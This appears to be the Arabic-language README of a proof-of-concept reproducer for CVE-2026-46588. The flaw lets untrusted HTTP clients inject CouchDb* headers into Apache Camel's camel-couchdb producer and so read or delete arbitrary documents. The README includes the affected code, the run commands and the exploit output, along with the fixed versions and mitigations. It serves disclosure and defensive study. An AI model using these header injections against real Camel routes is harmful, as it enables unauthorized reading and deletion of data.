
مُعيد إنتاج لـ CVE-2026-46588: حقن ترويسات CouchDb* في camel-couchdb الخاص بـ Apache Camel (التباس العمليات) يحوّل نقطة نهاية للكتابة فقط إلى قراءة وحذف مستندات عشوائية (تم الإصلاح في 4.14.8/4.18.3/4.21.0)
CouchDb* (CVE-2026-46588)يعرض هذا المشروع حقن ترويسات الرسائل في مكوّن camel-couchdb الخاص بـ Apache Camel، ويُتتبَّع باسم CVE-2026-46588. يقرأ المكوّن عدة ترويسات Exchange للتحكم في سلوكه — CouchDbDatabase وCouchDbSeq وCouchDbId (معرّف المستند) وCouchDbRev (مراجعة المستند) وCouchDbMethod (طريقة العملية). تستخدم القيم النصية لثوابت هذه الترويسات (المعرَّفة في CouchDbConstants) البادئة CouchDb بدلاً من البادئة القياسية Camel التي تستخدمها كل المكوّنات الأخرى. تحجب استراتيجية HttpHeaderFilterStrategy الواردة في Camel أسماء الترويسات التي تبدأ بـ Camel / camel فقط، لذا تمرّ هذه الأسماء عبر الفلتر الوارد دون تغيير. عندما يعرّض مسار نقطة دخول HTTP (مثل platform-http) أمام منتِج couchdb، يمكن لعميل HTTP غير موثوق تعيين هذه الترويسات مباشرةً وتجاوز العملية التي قصدها مؤلف المسار.
يُظهر هذا الإثبات المفاهيمي (PoC) التأثير كـ التباس في العملية: يتم تحويل نقطة استيعاب مستندات للكتابة فقط إلى قراءة ثم حذف مستند عشوائي عبر حقن CouchDbMethod (وCouchDbId).
CouchDbMethod=GET + CouchDbId=<secret> → كشف (يقرأ مستندًا لا تعرّضه نقطة النهاية أبدًا، ويُسرّب _rev الخاص به).CouchDbMethod=DELETE (مع _rev المُسرَّب) → إتلاف (يحذف ذلك المستند).النشرة الأمنية: https://camel.apache.org/security/CVE-2026-46588.html
من عائلة حقن الترويسات نفسها مثل CVE-2025-27636 وCVE-2026-40453 وCVE-2026-46453 وCVE-2026-47323. يتشارك الإصلاح في PR نفسه مع النشرة الشقيقة CVE-2026-46587 (camel-couchbase).
// CouchDbConstants (affected 4.18.2) — the header names carry the CouchDb prefix, not Camel:
String HEADER_METHOD = "CouchDbMethod";
String HEADER_DOC_ID = "CouchDbId";
// CouchDbProducer.process (affected 4.18.2) — the operation is chosen from the header:
String operation = exchange.getIn().getHeader(CouchDbConstants.HEADER_METHOD, String.class);
if (ObjectHelper.isEmpty(operation)) {
saveJsonElement(json); // default: save the body
} else if (operation.equalsIgnoreCase("DELETE")) {
deleteJsonElement(json); // delete by the body's _id/_rev
} else if (operation.equalsIgnoreCase("GET")) {
String docId = exchange.getIn().getHeader(CouchDbConstants.HEADER_DOC_ID, String.class);
exchange.getIn().setBody(getElement(docId)); // read an arbitrary document
}
يُعيد الإصلاح (4.14.8 / 4.18.3 / 4.21.0) تسمية قيم الترويسات وفق اصطلاح Camel — CouchDbMethod → CamelCouchDbMethod وCouchDbId → CamelCouchDbId وCouchDbRev → CamelCouchDbRev وCouchDbDatabase → CamelCouchDbDatabase وCouchDbSeq → CamelCouchDbSeq — بحيث تُحجب بواسطة HttpHeaderFilterStrategy الواردة مثل أي ترويسة تحكم أخرى في Camel. أسماء حقول ثوابت Java لم تتغير.
from("platform-http:/ingest")
.removeHeaders("Camel*") // documented hardening — see below
.convertBodyTo(String.class)
.to("couchdb:http://<host>:5984/cameldb?username=..&password=..&createDatabase=true");
قصد مؤلف المسار هو نقطة استيعاب للكتابة فقط — يرسل العملاء مستندات عبر POST لحفظها، ولا شيء أكثر. كإجراء تحصين موثّق، يزيل المسار نطاق ترويسات التحكم الخاص بـ Camel عند الحدود. وهذا لا يساعد: ترويسة العملية اسمها CouchDbMethod وليس CamelCouchDbMethod، لذا لا تُزال بواسطة removeHeaders("Camel*") ولا بواسطة فلتر ترويسات HTTP المدمج — ويبدّل المنتِج العملية بناءً عليها.
الضحية هي مسار الاستيعاب في Camel وقاعدة بيانات CouchDB الخاصة به؛ المهاجم هو عميل HTTP غير مصادَق يكتفي بتعيين ترويسات الطلب. تزرع أداة اختبار REST صغيرة مستند السر وتقرؤه للتحقق، بشكل مستقل عن المسار المعرَّض للثغرة.
CVE-2026-46588/
├── pom.xml # camel-platform-http + camel-couchdb 4.18.2 (gson pinned to 2.13.2, see note)
├── Dockerfile
├── docker-compose.yml # couchdb 3.3 + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchDbSettings.java # host / db / creds / secret document id + marker
│ ├── CouchDbHarness.java # REST harness: waits for CouchDB, seeds + reads the secret doc
│ ├── VictimRoute.java # platform-http:/ingest -> couchdb producer (write-only intent)
│ └── ExploitController.java # attacker: POST /ingest with injected CouchDbMethod / CouchDbId headers
└── resources/
└── application.properties
ملاحظة: يثبّت ملف pom إصدار
gson.version=2.13.2(الإصدار الذي يوفّره Camel). وإلا فإن Spring Boot 3.2.0 سيثبّت إصدار gson الأقدم 2.10.1، الذي يفتقر إلىcom.google.gson.internal.GsonTypesويجعل Cloudant SDK المرفق يرميNoClassDefFoundErrorعند التشغيل.
mvn clean package -DskipTests
docker compose up -d --build
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
secret document in CouchDB (read straight from the database):
{"_id":"admin-secret","_rev":"...","secret":"confidential salary and bonus figures","marker":"FLAG{couchdb_method_injection_CVE_2026_46588}"}
=== 1) Legitimate ingest (no CouchDb* headers) — a new document is saved ===
{"note":"benign user submission"}
=== 2) Injected CouchDbMethod=GET + CouchDbId=admin-secret — reads a protected document ===
{ "_id": "admin-secret", "_rev": "...", "marker": "FLAG{couchdb_method_injection_CVE_2026_46588}", ... }
disclosure: true
=== 3) Injected CouchDbMethod=DELETE (with the leaked _rev) — deletes the protected document ===
secret document now: <not found>
destruction: true
>>> Operation-confusion / header-injection proof — an unauthenticated client turned a write-only
>>> ingest endpoint into read (true) and delete (true) of an arbitrary document, via the CouchDbMethod / CouchDbId headers.
أي مسار يحتوي منتِج couchdb يمكن الوصول إليه من مستهلِك HTTP. الترويسات القابلة للحقن: CouchDbMethod (التبديل من الحفظ إلى get / delete)، وCouchDbId (المستند المستهدف لعملية get)، و_id / _rev في الجسم لعملية delete. يضيف جانب المستهلِك CouchDbDatabase وCouchDbSeq.
قم بالترقية إلى 4.14.8 / 4.18.3 / 4.21.0 (PR النشرة رقم #23228). بعد الإصلاح، تحمل ترويسات التحكم بادئة Camel (CamelCouchDbMethod وCamelCouchDbId و…) وتُصفَّى عند حدود HTTP مثل أي ترويسة تحكم أخرى.
إلى حين الترقية، أزل الترويسات المتأثرة من الرسائل الواردة غير الموثوقة قبل وصولها إلى المنتِج، مثل .removeHeader("CouchDbDatabase") و.removeHeader("CouchDbId") و.removeHeader("CouchDbRev") و.removeHeader("CouchDbSeq") و.removeHeader("CouchDbMethod") أمام نقطة نهاية couchdb، أو طبّق HeaderFilterStrategy مخصصة تحجب هذه الأسماء.
هذه الأداة مقدَّمة لأغراض البحث الأمني والاختبار المصرَّح به فقط، لثغرة مُعلَنة علنًا ومُصحَّحة. لا تستخدمها ضد أنظمة دون إذن صريح.
| الخاصية | القيمة |
|---|
| المكوّن | camel-couchdb |
| الكلاس المتأثر | org.apache.camel.component.couchdb.CouchDbProducer يقرأ CouchDbConstants.HEADER_METHOD ("CouchDbMethod") وHEADER_DOC_ID ("CouchDbId") وغيرها |
| CWE | CWE-20: التحقق غير الصحيح من صحة المدخلات |
| التأثير | عميل HTTP يعيّن ترويسات CouchDb* → تجاوز العملية / المستند → كشف، حذف، عبث |
| الشروط المسبقة | مسار يعرّض منتِج couchdb خلف مستهلِك HTTP (مثل platform-http)؛ بدون مصادقة عندما يكون المستهلِك كذلك |
| الإصدارات المتأثرة | من 4.0.0 حتى ما قبل 4.14.8، ومن 4.15.0 حتى ما قبل 4.18.3، ومن 4.19.0 حتى ما قبل 4.21.0 |
| الإصدارات المُصحَّحة | 4.14.8، 4.18.3، 4.21.0 |
| الإصلاح | PR apache/camel#23228 (الفرع الرئيسي)، مُرحَّل إلى الإصدارات الأقدم عبر #23230 (4.18.x) / #23231 (4.14.x) |
| الإشادة | Yu Bao (PayPal) |